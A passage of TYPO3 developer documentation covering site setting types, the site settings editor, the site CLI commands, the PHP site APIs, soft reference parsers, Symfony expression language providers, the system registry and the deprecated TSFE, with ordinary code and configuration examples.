settings.[my_val].type = stringlist
Screenshot of a site setting field of type stringlist

The value must be an array whose array key starts at 0 and increases by 1 per element. This sequence is checked using the internal PHP method array_is_list in order to prevent named array keys from the outset. This also means that comma-separated lists cannot be converted here.

The string type is executed for each array entry.

settings:
  example.types.stringlist:
    type: stringlist
    default:  ['Dog', 'Cat', 'Bird', 'Spider']
    category: Example.types
    label: 'Type stringlist'
    description: 'The value must be an array whose array keys start at 0 and
    increase by 1 per element. The list in this type is derived from the
    internal PHP method array_is_list() and has nothing to do with the fact
    that comma-separated lists can also be converted here.

    The `string` type is executed for each array entry.'
Copied!

color

color
Type
string
Path
settings.[my_val].type = color
Screenshot of a site setting field of type color

Checks whether the specified string can be interpreted as a color code. Entries starting with rgb, rgba and # are permitted here.

For # color codes, for example, the system checks whether they have 3, 6 or 8 digits.

settings:
  example.types.color:
    type: color
    default: '#FF8700'
    category: Example.types
    label: 'Type color'
    description: 'Checks whether the specified string can be interpreted as a
    color code. Entries starting with `rgb`, `rgba` and `#` are permitted here.

    For `#` color codes, for example, the system checks whether they
    have 3, 6 or 8 digits.'
Copied!

Site settings editor

New in version 13.3

The site setting editor has been introduced as backend module Site Management > Settings.

In module Site Management > Settings you get an overview of all sites in the current installation and can edit the Site settings for all pages that contain settings:

Screenshot of the Site Settings module in overview

Site "Home" has settings that can be edited. The others do not.

The settings editor displays the settings of all site sets included in the current site, including their dependencies. The site sets can define categories and subcategories to order the settings.

Screenshot of the settings of an example site

The site in the examples includes the "My Sitepackage" and "Blog Example" sets. "My Sitepackage" depends on "Fluid Styled Content"

The settings to be displayed here have to be defined in an extension's or site packages's set in a setting definition file, for example EXT:my_sitepackage/Configuration/Sets/MySitepackage/settings.definitions.yaml.

Settings that have been made directly in the settings.yaml file without a corresponding entry in a settings.definitions.yaml are not displayed in the editor as they have neither a type nor a label. These values are, however, retained when the editor writes to the settings.yaml file.

Configuring the site settings editor

Screenshot demonstration the position of the categories, labels etc

The parts marked by a number can be configured, see list bellow

EXT:blog_example/Configuration/Sets/BlogExample/settings.definitions.yaml (Excerpt)
categories:
  BlogExample:
    label: 'Blog Example' # (1)
  BlogExample.templates:
    label: 'Templates' # (2)
    parent: BlogExample
  BlogExample.pages:
    label: 'Pages'
    parent: BlogExample

settings:
  blogExample.templateRootPath:  # (5)
    label: 'Templates' # (3)
    category: BlogExample.templates # (2)
    description: 'Path to template root'  # (4)
    type: string  # (6)
    default: 'EXT:blog_example/Resources/Private/Templates/'  # (7) + (8)
  blogExample.partialRootPath:
    label: 'Partials'
    category: BlogExample.templates
    description: 'Path to partial root'
    type: string
    default: 'EXT:blog_example/Resources/Private/Partials/'
Copied!

See the complete example at settings.definitions.yaml (GitHub).

  1. Main category

    The label of the category is defined in line 3 of the example code snippet. Line 6 and 9 place two categories as subcategories into this category.

  2. Sub category

    The sub category is defined in line 5 to 6. Line 14 locates the setting in this subcategory.

  3. Label

    Can be defined directly in the settings definition (line 13) or in a labels.xlf file.

  4. Description

    Can be defined directly in the settings definition (line 15) or in a labels.xlf file.

  5. Type

    line 16, for possible types see Definition types.

  6. Default value

    line 23 the default value is displayed if the value of the settings was not overridden. If the value was overridden, it can be reset to the default.

    Screenshot showing the "Reset settings" button in the settings popup menu

    Reset the setting to the default value

CLI tools for site handling

Two CLI commands are available:

  • site:list
  • site:show

List all configured sites

The following command will list all configured sites with their identifier, root page, base URL, languages, locales and a flag whether or not the site is enabled.

vendor/bin/typo3 site:list
Copied!
typo3/sysext/core/bin/typo3 site:list
Copied!

Show configuration for one site

The show command needs an identifier of a configured site which must be provided after the command name. The command will output the complete configuration for the site in YAML syntax.

vendor/bin/typo3 site:show <identifier>
Copied!
typo3/sysext/core/bin/typo3 site:show <identifier>
Copied!

PHP API: accessing site configuration

Introduction

The PHP API for sites comes in two parts:

  • Accessing the current, resolved site object
  • Finding a site object / configuration via a page or identifier

The first case is relevant when we want to access the site configuration in the current request, for example, if we want to know which language is currently rendered.

The second case is about accessing site configuration options independent of the current request but based on a page ID or a site identifier.

Let us look at both cases in detail.

Accessing the current site object

When rendering the frontend or backend, TYPO3 builds an HTTP request object through a PSR-15 middleware stack and enriches it with information. Part of that information are the objects \TYPO3\CMS\Core\Site\Entity\Site and \TYPO3\CMS\Core\Site\Entity\SiteLanguage . Both objects are available as attributes in the current request object.

Depending on the context, there are two main ways to access them:

  • via the PSR-7 HTTP request object directly - for example in a PSR-15 middleware, an Extbase controller or a user function.
  • via $GLOBALS['TYPO3_REQUEST'] - everywhere you do not have a request object.

Methods:

EXT:my_extension/Classes/MyClass.php
// current site
$site = $request->getAttribute('site');

// current site language
$siteLanguage = $request->getAttribute('language');
Copied!

The Extbase request class implements the PSR-7 \Psr\Http\Message\ServerRequestInterface . Therefore, you can retrieve all needed attributes from the request object.

Finding a site object with the SiteFinder class

When you need to access the site configuration for a specific page ID or by a site identifier, you can use the class \TYPO3\CMS\Core\Site\SiteFinder .

The methods for finding a specific site throw a \TYPO3\CMS\Core\Exception\SiteNotFoundException , if no site was found.

API

class SiteFinder
Fully qualified name
\TYPO3\CMS\Core\Site\SiteFinder

Is used in backend and frontend for all places where to read / identify sites and site languages.

getAllSites ( bool $useCache = true)

Return a list of all configured sites

param $useCache

the useCache, default: true

Returns
\Site[]
getSiteByIdentifier ( string $identifier)

Find a site by given identifier

param $identifier

the identifier

Returns
\TYPO3\CMS\Core\Site\Entity\Site
getSiteByPageId ( int $pageId, ?array $rootLine = NULL, ?string $mountPointParameter = NULL)

Traverses the rootline of a page up until a Site was found.

param $pageId

the pageId

param $rootLine

the rootLine, default: NULL

param $mountPointParameter

the mountPointParameter, default: NULL

Returns
\TYPO3\CMS\Core\Site\Entity\Site
siteConfigurationChanged ( )

The Site object

A \TYPO3\CMS\Core\Site\Entity\Site object gives access to the site configuration options.

API

class Site
Fully qualified name
\TYPO3\CMS\Core\Site\Entity\Site

Entity representing a single site with available languages

public invalidSets
getIdentifier ( )

Gets the identifier of this site, mainly used when maintaining / configuring sites.

Returns
string
getBase ( )

Returns the base URL of this site

Returns
\Psr\Http\Message\UriInterface
getRootPageId ( )

Returns the root page ID of this site

Returns
int
getLanguages ( )

Returns all available languages of this site

Returns
array
getSets ( )

Returns configured sets of this site

Returns
list<string>
getAllLanguages ( )

Returns all available languages of this site, even the ones disabled for frontend usages

Returns
array
getLanguageById ( int $languageId)

Returns a language of this site, given by the sys_language_uid

param $languageId

the languageId

Returns
\TYPO3\CMS\Core\Site\Entity\SiteLanguage
getDefaultLanguage ( )
Returns
\TYPO3\CMS\Core\Site\Entity\SiteLanguage
getAvailableLanguages ( \TYPO3\CMS\Core\Authentication\BackendUserAuthentication $user, bool $includeAllLanguagesFlag = false, ?int $pageId = NULL)
param $user

the user

param $includeAllLanguagesFlag

the includeAllLanguagesFlag, default: false

param $pageId

the pageId, default: NULL

Returns
array
getErrorHandler ( int $statusCode)

Returns a ready-to-use error handler, to be used within the ErrorController

param $statusCode

the statusCode

Returns
\TYPO3\CMS\Core\Error\PageErrorHandler\PageErrorHandlerInterface
getConfiguration ( )

Returns the whole configuration for this site

Returns
array
getRawConfiguration ( )
Returns
array
getSettings ( )
Returns
\TYPO3\CMS\Core\Site\Entity\SiteSettings
getTypoScript ( )
Returns
?\TYPO3\CMS\Core\Site\Entity\SiteTypoScript
getAttribute ( string $attributeName)

Returns a single configuration attribute

param $attributeName

the attributeName

Returns
mixed
getRouter ( ?\TYPO3\CMS\Core\Context\Context $context = NULL)

Returns the applicable router for this site. This might be configurable in the future.

param $context

the context, default: NULL

Returns
\TYPO3\CMS\Core\Routing\RouterInterface

The SiteLanguage object

The SiteLanguage object is basically a simple model that represents the configuration options of the site regarding language as an object and provides getters for those properties.

API

class SiteLanguage
Fully qualified name
\TYPO3\CMS\Core\Site\Entity\SiteLanguage

Entity representing a site_language configuration of a site object.

toArray ( )

Returns the SiteLanguage in an array representation for e.g. the usage in TypoScript.

Returns
array
getLanguageId ( )
Returns
int
getLocale ( )
Returns
\TYPO3\CMS\Core\Localization\Locale
getBase ( )
Returns
\Psr\Http\Message\UriInterface
getTitle ( )
Returns
string
getNavigationTitle ( )
Returns
string
getWebsiteTitle ( )
Returns
string
getFlagIdentifier ( )
Returns
string
getTypo3Language ( )

Returns the XLF label language key, returns "default" when it is "en".

"default" is currently still needed for TypoScript label overloading. For locales like "en-US", this method returns "en_US" which can then be used for XLF file prefixes properly.

Returns
string
getHreflang ( bool $fetchCustomSetting = false)

Returns the RFC 1766 / 3066 language tag for hreflang tags

param $fetchCustomSetting

the fetchCustomSetting, default: false

Returns
string
enabled ( )

Returns true if the language is available in frontend usage

Returns
bool
isEnabled ( )

Helper so fluid can work with this as well.

Returns
bool
getFallbackType ( )
Returns
string
getFallbackLanguageIds ( )
Returns
array

The SiteSettings object

The site settings can be retrieved using the getSettings() method of the Site object, which returns a SiteSettings object.

The object can be used to access settings either by the dot notation ("flat"), for example:

$redirectStatusCodeForRedirects = (int)$siteSettings->get('redirects.httpStatusCode', 307);
Copied!

or by accessing all options for a certain group:

$allSettingsRelatedToRedirects = $siteSettings->get('redirects');
Copied!

or even fetching all settings:

$siteSettings->getAll();
Copied!

See Using site configuration in TypoScript and Fluid templates for other means of accessing the site settings.

API

class SiteSettings
Fully qualified name
\TYPO3\CMS\Core\Site\Entity\SiteSettings

Entity representing all settings for a site. These settings are not overlaid with TypoScript settings / constants which happens in the TypoScript Parser for a specific page.

has ( string $identifier)
param $identifier

the identifier

Returns
bool
isEmpty ( )
Returns
bool
get ( string $identifier, ?mixed $defaultValue = NULL)
param $identifier

the identifier

param $defaultValue

the defaultValue, default: NULL

Returns
?mixed
getAll ( )
Returns
array
getMap ( )
Returns
array
getAllFlat ( )
Returns
array
jsonSerialize ( )
Returns
?mixed
getIdentifiers ( )
Returns
array
__set_state ( array $state)
param $state

the state

Returns
static

Extending site configuration

Adding custom / project-specific options to site configuration

The site configuration is stored as YAML and provides per definition a context-independent configuration of a site. Especially when it comes to things like storage PIDs or general site-specific settings, it makes sense to add them to the site configuration.

The site entity automatically provides the complete configuration via the getConfiguration() method, therefore extending that means "just add whatever you want to the YAML file". The GUI is built in a way that toplevel options that are unknown or not available in the form are left alone and will not get overwritten when saved.

Example:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
rootPageId: 1
base: https://example.org/
myProject:
  recordStorage: 15
Copied!

Access it via the API:

$site->getConfiguration()['myProject']['recordStorage']
Copied!

Extending the form / GUI

Extending the GUI is a bit more tricky.

The backend module relies on form engine to render the edit interface. Since the form data is not stored in database records but in YAML files, a couple of details have been extended of the default form engine code.

The render configuration is stored in EXT:backend/Configuration/SiteConfiguration/ (GitHub) in a format syntactically identical to TCA. However, this is not loaded into $GLOBALS['TCA'] scope, and only a small subset of TCA features is supported.

In practice, the configuration can be extended, but only with very simple fields like the basic config type input, and even for this one not all features are possible, for example the eval options are limited. The code throws exceptions or just ignores settings it does not support. While some of the limits may be relaxed a bit over time, many will be kept. The goal is to allow developers to extend the site configuration with a couple of simple things like an input field for a Google API key. However it is not possible to extend with complex TCA like inline relations, database driven select fields, FlexForm handling and similar.

The example below shows the experimental feature adding a field to site in an extension's Configuration/SiteConfiguration/Overrides/sites.php file. Note the helper methods of class \TYPO3\CMS\core\Utility\ExtensionManagementUtility can not be used.

EXT:my_extension/Configuration/SiteConfiguration/Overrides/sites.php
<?php

// Experimental example to add a new field to the site configuration

// Configure a new simple required input field to site
$GLOBALS['SiteConfiguration']['site']['columns']['myNewField'] = [
    'label' => 'A new custom field',
    'config' => [
        'type' => 'input',
        'eval' => 'required',
    ],
];

// And add it to showitem
$GLOBALS['SiteConfiguration']['site']['types']['0']['showitem'] = str_replace(
    'base,',
    'base, myNewField, ',
    $GLOBALS['SiteConfiguration']['site']['types']['0']['showitem'],
);
Copied!

The field will be shown in the edit form of the configuration module and its value stored in the config.yaml file. Using the site object \TYPO3\CMS\core\Site\Entity\Site, the value can be fetched using ->getConfiguration()['myNewField'].

Soft references

Soft references are references to database elements, files, email addresses, URLs, etc. which are found inside of text fields.

For example, the tt_content.bodytext database field can contain soft references to pages, content elements and files. The page reference looks like this:

<a href="t3://page?uid=1">link to page 1</a>
Copied!

In contrast to this, the field pages.shortcut contains the page ID of a shortcut. This is a reference, but not a soft reference.

The soft reference parsers are used by the system to find these references and process them accordingly in import/export actions and copy operations. Also, the soft references are used by integrity checking functions. For example, when you try to delete a page, TYPO3 will warn you if there are incoming page links to this page.

All references, soft and ordinary ones, are written to the reference index (table sys_refindex).

You can define which soft reference parsers to use in the TCA field softref which is available for TCA column types text and input.

Default soft reference parsers

The \TYPO3\CMS\Core\DataHandling\SoftReference namespace contains generic parsers for the most well-known types, which are the default for most TYPO3 installations. This is the list of the pre-registered keys:

substitute
A full field value targeted for manual substitution (for import/export features).
typolink
References to page ID, record or file in typolink format. The typolink soft reference parser can take an additional argument, which can be linklist (typolink['linklist']). In this case the links will be separated by commas.
typolink_tag
Same as typolink, but with an <a> tag encapsulating it.
ext_fileref
Relative file reference, prefixed EXT:[extkey]/ - for finding extension dependencies.
email
Email highlight.
url
URL highlights (with a scheme).

The default setup is found in EXT:core/Configuration/Services.yaml (GitHub):

Excerpt from EXT:core/Configuration/Services.yaml
services:
  # ... other configuration

  # Soft Reference Parsers
  TYPO3\CMS\Core\DataHandling\SoftReference\SubstituteSoftReferenceParser:
    tags:
      - name: softreference.parser
        parserKey: substitute

  TYPO3\CMS\Core\DataHandling\SoftReference\TypolinkSoftReferenceParser:
    tags:
      - name: softreference.parser
        parserKey: typolink

  TYPO3\CMS\Core\DataHandling\SoftReference\TypolinkTagSoftReferenceParser:
    tags:
      - name: softreference.parser
        parserKey: typolink_tag

  TYPO3\CMS\Core\DataHandling\SoftReference\ExtensionPathSoftReferenceParser:
    tags:
      - name: softreference.parser
        parserKey: ext_fileref

  TYPO3\CMS\Core\DataHandling\SoftReference\EmailSoftReferenceParser:
    tags:
      - name: softreference.parser
        parserKey: email

  TYPO3\CMS\Core\DataHandling\SoftReference\UrlSoftReferenceParser:
    tags:
      - name: softreference.parser
        parserKey: url
Copied!

Examples

For the tt_content.bodytext field of type text from the example above, the configuration looks like this:

Excerpt from EXT:frontend/Configuration/TCA/tt_content.php
<?php

$GLOBALS['TCA']['tt_content']['columns']['bodytext'] = [
    // ...
    'config' => [
        'type' => 'text',
        'softref' => 'typolink_tag,email[subst],url',
        // ...
    ],
    // ...
];
Copied!

This means, the parsers for the soft reference types typolink_tag, email and url will all be applied. The email soft reference parser receives the additional parameter subst.

The content could look like this:

<p><a href="t3://page?uid=96">Congratulations</a></p>
<p>To read more about <a href="https://example.org/some-cool-feature">this cool feature</a></p>
<p>Contact: email@example.org</p>
Copied!

The parsers will return an instance of \TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserResult containing information about the references contained in the string. This object has two properties: $content and $elements.

Property $content

<p><a href="{softref:424242}">Congratulations</a></p>
<p>To read more about <a href="{softref:78910}">this cool feature</a></p>
<p>Contact: {softref:123456}</p>
Copied!

This property contains the input content. Links to be substituted have been replaced by soft reference tokens.

For example: <p>Contact: {softref:123456}</p>

Tokens are strings like {softref:123456} which are placeholders for values extracted by a soft reference parser.

For each token there is an entry in $elements which has a subst key defining the tokenID and the tokenValue. See below.

Property $elements

[
    [
        'matchString' => '<a href="t3://page?uid=96">',
        'error' => 'There is a glitch in the universe, page 42 not found.',
        'subst' => [
            'type' => 'db',
            'tokenID' => '424242',
            'tokenValue' => 't3://page?uid=96',
            'recordRef' => 'pages:96',
        ]
    ],
    [
        'matchString' => '<a href="https://example.org/some-cool-feature">',
        'subst' => [
            'type' => 'string',
            'tokenID' => '78910',
            'tokenValue' => 'https://example.org/some-cool-feature',
        ]
    ],
    [
        'matchString' => 'email@example.org',
        'subst' => [
            'type' => 'string',
            'tokenID' => '123456',
            'tokenValue' => 'test@example.com',
        ]
    ]
]
Copied!

This property is an array of arrays, each with these keys:

  • matchString: The value of the match. This is only for informational purposes to show, what was found.
  • error: An error message can be set here, like "file not found" etc.
  • subst: exists on a successful match and defines the token from content

    • tokenID: The tokenID string corresponding to the token in output content, {softref:[tokenID]}. This is typically a md5 hash of a string uniquely defining the position of the element.
    • tokenValue: The value that the token substitutes in the text. If this value is inserted instead of the token, the content should match what was inputted originally.
    • type: the type of substitution. file is a relative file reference, db is a database record reference, string is a manually modified string content (email, external url, phone number)
    • relFileName: (for file type): Relative filename.
    • recordRef: (for db type): Reference to DB record on the form <table>:<uid>.

User-defined soft reference parsers

Soft reference parsers can be user-defined. They are set up by registering them in your Services.yaml file. This will load them via dependency injection:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVendor\MyExtension\SoftReference\YourSoftReferenceParser:
    tags:
      - name: softreference.parser
        parserKey: my_softref_key
Copied!

Read how to configure dependency injection in extensions.

Do not forget to clear the hard caches in Admin Tools > Maintenance or via the cache:flush CLI command after modifying the DI configuration.

The soft reference parser class registered there must implement EXT:core/DataHandling/SoftReference/SoftReferenceParserInterface.php (GitHub). This interface describes the parse method, which takes 5 parameters in total as arguments:

  • $table
  • $field
  • $uid
  • $content
  • $structurePath (optional)

The return type must be an instance of EXT:core/DataHandling/SoftReference/SoftReferenceParserResult.php (GitHub). This model possesses the properties $content and $elements and has appropriate getter methods for them. The structure of these properties has been described in the examples section. This result object should be created by its own factory method SoftReferenceParserResult::create(), which expects both above-mentioned arguments to be provided. If the result is empty, SoftReferenceParserResult::createWithoutMatches() should be used instead. If $elements is an empty array, this method will also be used internally.

Using the soft reference parser

To get an instance of a soft reference parser, it is recommended to use the \TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory class. This factory class already holds all registered instances of the parsers. They can be retrieved with the getSoftReferenceParser() method. You have to provide the desired key as the first and only argument.

EXT:my_extension/Classes/MyController.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory;

final class MyController
{
    public function __construct(
        private readonly SoftReferenceParserFactory $softReferenceParserFactory,
    ) {}

    public function doSomething(): void
    {
        // Get the soft reference parser with the key "my_softref_key"
        $mySoftRefParser = $this->softReferenceParserFactory->getSoftReferenceParser(
            'my_softref_key',
        );

        // ... do something with $mySoftRefParser
    }
}
Copied!

Symfony expression language

Symfony expression language (SEL) is used by TYPO3 in a couple of places. The most well-known ones are TypoScript conditions. The TypoScript and TSconfig references list available variables and functions of these contexts. But the TYPO3 Core API allows enriching expressions with additional functionality, which is what this chapter is about.

Main API

The TYPO3 Core API provides a relatively slim API in front of the Symfony expression language: Symfony expressions are used in different contexts (TypoScript conditions, the EXT:form framework, maybe more).

The class \TYPO3\CMS\Core\ExpressionLanguage\Resolver is used to prepare the expression language processor based on a given context (identified by a string, for example "typoscript"), and loads registered available variables and functions for this context.

The System > Configuration module provides a list of all registered Symfony expression language providers.

Evaluation of single expressions is then initiated calling $myResolver->evaluate(). While TypoScript casts the return value to bool, Symfony expression evaluation can potentially return mixed.

Registering new provider

There has to be a provider, no matter whether variables or functions will be provided. A provider is registered in the extension file Configuration/ExpressionLanguage.php. This will register the defined CustomTypoScriptConditionProvider PHP class as provider within the context typoscript.

EXT:some_extension/Configuration/ExpressionLanguage.php
return [
    'typoscript' => [
        \MyVendor\SomeExtension\ExpressionLanguage\CustomTypoScriptConditionProvider::class,
    ]
];
Copied!

Implementing a provider

The provider is a PHP class like /Classes/ExpressionLanguage/CustomTypoScriptConditionProvider.php, depending on the formerly registered PHP class name:

EXT:some_extension/Classes/ExpressionLanguage/CustomTypoScriptConditionProvider.php
namespace MyVendor\SomeExtension\ExpressionLanguage;

use TYPO3\CMS\Core\ExpressionLanguage\AbstractProvider;

class CustomTypoScriptConditionProvider extends AbstractProvider
{
    public function __construct()
    {
    }
}
Copied!

Additional variables

Additional variables can be provided by the registered provider class. In practice, adding additional variables is used rather seldom: To access state, they tend to use $GLOBALS, which in general is not a good idea. Instead, consuming code should provide available variables by handing them over to the Resolver constructor already. The example below adds a new variable variableA with value valueB:

EXT:some_extension/Classes/ExpressionLanguage/CustomTypoScriptConditionProvider.php
class CustomTypoScriptConditionProvider extends AbstractProvider
{
    public function __construct()
    {
        $this->expressionLanguageVariables = [
            'variableA' => 'valueB',
        ];
    }
}
Copied!

Additional functions

Additional functions can be provided with another class that has to be registered in the provider:

EXT:some_extension/Classes/ExpressionLanguage/CustomTypoScriptConditionProvider.php
class CustomTypoScriptConditionProvider extends AbstractProvider
{
    public function __construct()
    {
        $this->expressionLanguageProviders = [
            CustomConditionFunctionsProvider::class,
        ];
    }
}
Copied!

The (artificial) implementation below calls some external URL based on given variables:

EXT:some_extension/Classes/ExpressionLanguage/CustomConditionFunctionsProvider.php
namespace Vendor\SomeExtension\TypoScript;

use Symfony\Component\ExpressionLanguage\ExpressionFunction;
use Symfony\Component\ExpressionLanguage\ExpressionFunctionProviderInterface;

class CustomConditionFunctionsProvider implements ExpressionFunctionProviderInterface
{
    public function getFunctions()
    {
        return [
            $this->getWebserviceFunction(),
        ];
    }

    protected function getWebserviceFunction(): ExpressionFunction
    {
        return new ExpressionFunction(
            'webservice',
            static fn () => null, // Not implemented, we only use the evaluator
            static function ($arguments, $endpoint, $uid) {
                return GeneralUtility::getUrl(
                    'https://example.org/endpoint/'
                    . $endpoint
                    . '/'
                    . $uid
                );
            }
        );
    }
}
Copied!

A usage example in TypoScript could be this:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
[webservice('pages', 10)]
    page.10 >
    page.10 = TEXT
    page.10.value = Matched
[GLOBAL]

# Or compare the result of the function to a string
[webservice('pages', 10) === 'Expected page title']
    page.10 >
    page.10 = TEXT
    page.10.value = Matched
[GLOBAL]

# if there are no parameters, your own conditions still need brackets
[conditionWithoutParameters()]
    # do something
[GLOBAL]
Copied!

System registry

Introduction

The purpose of the registry is to store key-value pairs of information. It can be considered an equivalent to the Windows registry (only not as complicated).

You might use the registry to hold information that your script needs to store across sessions or requests.

An example would be a setting that needs to be altered by a PHP script, which currently is not possible with TypoScript.

Another example: The Scheduler system extension stores when it ran the last time. The Reports system extension then checks that value, in case it determines that the Scheduler has not run for a while, it issues a warning. While this might not be of much use to someone who has set up an actual cron job for the Scheduler, but it is useful for users who need to run the Scheduler tasks manually due to a lack of access to a cron job.

The registry is not intended to store things that are supposed to go into a session or a cache, use the appropriate API for them instead.

The registry API

TYPO3 provides an API for using the registry. You can inject an instance of the Registry class via dependency injection. The instance returned will always be the same, as the registry is a singleton:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Registry;

final class MyClass
{
    public function __construct(
        private readonly Registry $registry,
    ) {}

    public function doSomething()
    {
        // Use $this->registry
    }
}
Copied!

You can access registry values through its get() method. The get() method provides a third parameter to specify a default value that is returned, if the requested entry is not found in the registry. This happens, for example, the first time an entry is accessed. A value can be set with the set() method.

Example

The registry can be used, for example, to write run information of a console command into the registry:

EXT:my_extension/Classes/Command/MyCommand.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Command;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use TYPO3\CMS\Core\Registry;

final class MyCommand extends Command
{
    private int $startTime;

    public function __construct(
        private readonly Registry $registry,
    ) {
        parent::__construct();
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $this->startTime = \time();

        // ... some logic

        $this->writeIntoRegistry();

        return Command::SUCCESS;
    }

    private function writeIntoRegistry(): void
    {
        $runInformation = [
            'startTime' => $this->startTime,
            'endTime' => time(),
        ];

        $this->registry->set('tx_myextension', 'lastRun', $runInformation);
    }
}
Copied!

This information can be retrieved later using:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Registry;

final class MyClass
{
    public function __construct(
        private readonly Registry $registry,
    ) {}

    // ... some method which calls retrieveFromRegistry()

    private function retrieveFromRegistry(): ?array
    {
        return $this->registry->get(
            'tx_myextension',
            'lastRun',
        );
    }
}
Copied!

API

class Registry
Fully qualified name
\TYPO3\CMS\Core\Registry

A class to store and retrieve entries in a registry database table.

This is a simple, persistent key-value-pair store.

The intention is to have a place where we can store things (mainly settings) that should live for more than one request, longer than a session, and that shouldn't expire like it would with a cache. You can actually think of it being like the Windows Registry in some ways.

get ( ?string $namespace, ?string $key, ?mixed $defaultValue = NULL)

Returns a persistent entry.

param $namespace

Extension key of extension

param $key

Key of the entry to return.

param $defaultValue

Optional default value to use if this entry has never been set. Defaults to NULL., default: NULL

Return description

Value of the entry.

Returns
mixed
set ( ?string $namespace, ?string $key, ?mixed $value)

Sets a persistent entry.

This is the main method that can be used to store a key-value-pair.

Do not store binary data into the registry, it's not build to do that, instead use the proper way to store binary data: The filesystem.

param $namespace

Extension key of extension

param $key

The key of the entry to set.

param $value

The value to set. This can be any PHP data type; This class takes care of serialization

remove ( ?string $namespace, ?string $key)

Unset a persistent entry.

param $namespace

Extension key of extension

param $key

The key of the entry to unset.

removeAllByNamespace ( ?string $namespace)

Unset all persistent entries of given namespace.

param $namespace

Extension key of extension

The registry table (sys_registry)

Following a description of the fields that can be found in the sys_registry table:

uid

uid
Type
int

Primary key, needed for replication and also useful as an index.

entry_namespace

entry_namespace
Type
varchar(128)

Represents an entry's namespace. In general, the namespace is an extension key starting with tx_, a user script's prefix user_, or core for entries that belong to the Core.

The purpose of namespaces is that entries with the same key can exist within different namespaces.

entry_key

entry_key
Type
varchar(128)

The entry's key. Together with the namespace, the key is unique for the whole table. The key can be any string to identify the entry. It is recommended to use dots as dividers, if necessary. In this way, the naming is similar to the syntax already known in TypoScript.

entry_value

entry_value
Type
mediumblob

The entry's actual value. The value is stored as a serialized string, thus you can even store arrays or objects in a registry entry – it is not recommended though. The value in this field is stored as a binary.

TSFE

Deprecated since version 13.4

The class \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController and its global instance $GLOBALS['TSFE'] have been marked as deprecated. The class will be removed with TYPO3 v14.

What is TSFE?

TSFE is short for \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController , a class which exists in the system extension EXT:frontend.

As the name implies: A responsibility of TSFE is page rendering. It also handles reading from and writing to the page cache. For more details it is best to look into the source code.

There are several contexts in which the term TSFE is used:

  • PHP: It is passed as request attribute frontend.controller
  • PHP: It was and is available as global array $GLOBALS['TSFE'] in PHP.
  • TypoScript: TypoScript function TSFE which can be used to access public properties in TSFE.

The TypoScript part is covered in the TypoScript Reference: TSFE. In this section we focus on the PHP part and give an overview, in which way the TSFE class can be used.

Accessing TSFE

From the source:

When calling a frontend page, an instance of this object is available as $GLOBALS['TSFE'] , even though the Core development strives to get rid of this in the future.

If access to the \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController instance is necessary, use the request attribute frontend.controller:

$frontendController = $request->getAttribute('frontend.controller');
Copied!

TSFE is not available in all contexts. In particular, it is only available in frontend contexts, not in the backend or the command line.

Initializing $GLOBALS['TSFE'] in the backend is sometimes done in code examples found online. This is not recommended. TSFE is not initialized in the backend context by the Core (and there is usually no need to do this).

From the PHP documentation:

As of PHP 8.1.0, $GLOBALS is now a read-only copy of the global symbol table. That is, global variables cannot be modified via its copy.

-- https://www.php.net/manual/en/reserved.variables.globals.php

Howtos

Following are some examples which use TSFE and alternatives to using TSFE, where available:

Access ContentObjectRenderer

Changed in version 13.0

This property has been marked as read-only.

Access the \TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer (often referred to as "cObj"):

// !!! discouraged
$cObj = $GLOBALS['TSFE']->cObj;
Copied!

Obtain the current content object in an Extbase controller from the request attribute currentContentObject:

$currentContentObject = $request->getAttribute('currentContentObject');
Copied!

In the case of the USER content object (for example, a non-Extbase plugin) use setter injection:

EXT:my_extension/Classes/UserFunctions/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\UserFunctions;

use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;

final class MyClass
{
    /**
     * Reference to the parent (calling) cObject set from TypoScript
     */
    private ContentObjectRenderer $cObj;

    public function setContentObjectRenderer(ContentObjectRenderer $cObj): void
    {
        $this->cObj = $cObj;
    }

    // ... other methods
}
Copied!

Access current page ID

Changed in version 13.0

This property has been marked as read-only.

Access the current page ID:

// !!! discouraged
$pageId = $GLOBALS['TSFE']->id;
Copied!

Instead, the current page ID can be retrieved using the routing request attribute:

$pageArguments = $request->getAttribute('routing');
$pageId = $pageArguments->getPageId();
Copied!

New in version 13.0

Or, alternatively with the frontend.page.information request attribute:

$pageInformation = $request->getAttribute('frontend.page.information');
$pageId = $pageInformation->getId();
Copied!

Access frontend user information

Changed in version 13.0

The variable $GLOBALS['TSFE']->fe_user has been removed with TYPO3 v13. Migration.

Get current base URL

Changed in version 13.0

The variable $GLOBALS['TSFE']->baseURL has been removed with TYPO3 v13.

Use the request object and retrieve the site attribute which holds the site configuration:

/** @var \TYPO3\CMS\Core\Site\Entity\Site $site */
$site = $request->getAttribute('site');
/** @var array $siteConfiguration */
$siteConfiguration = $site->getConfiguration();
$baseUrl = $siteConfiguration['base'];
Copied!

Global meta information about TYPO3

General information

The PHP class \TYPO3\CMS\Core\Information\Typo3Information provides an API for general information, links and copyright information about TYPO3.

The following methods are available:

  • getCopyrightYear() will return a string with the current copyright years (for example "1998-2020")
  • getHtmlGeneratorTagContent() will return the backend meta generator tag with copyright information
  • getInlineHeaderComment() will return the TYPO3 header comment rendered in all frontend requests ("This website is powered by TYPO3...")
  • getCopyrightNotice() will return the TYPO3 copyright notice

Version Information

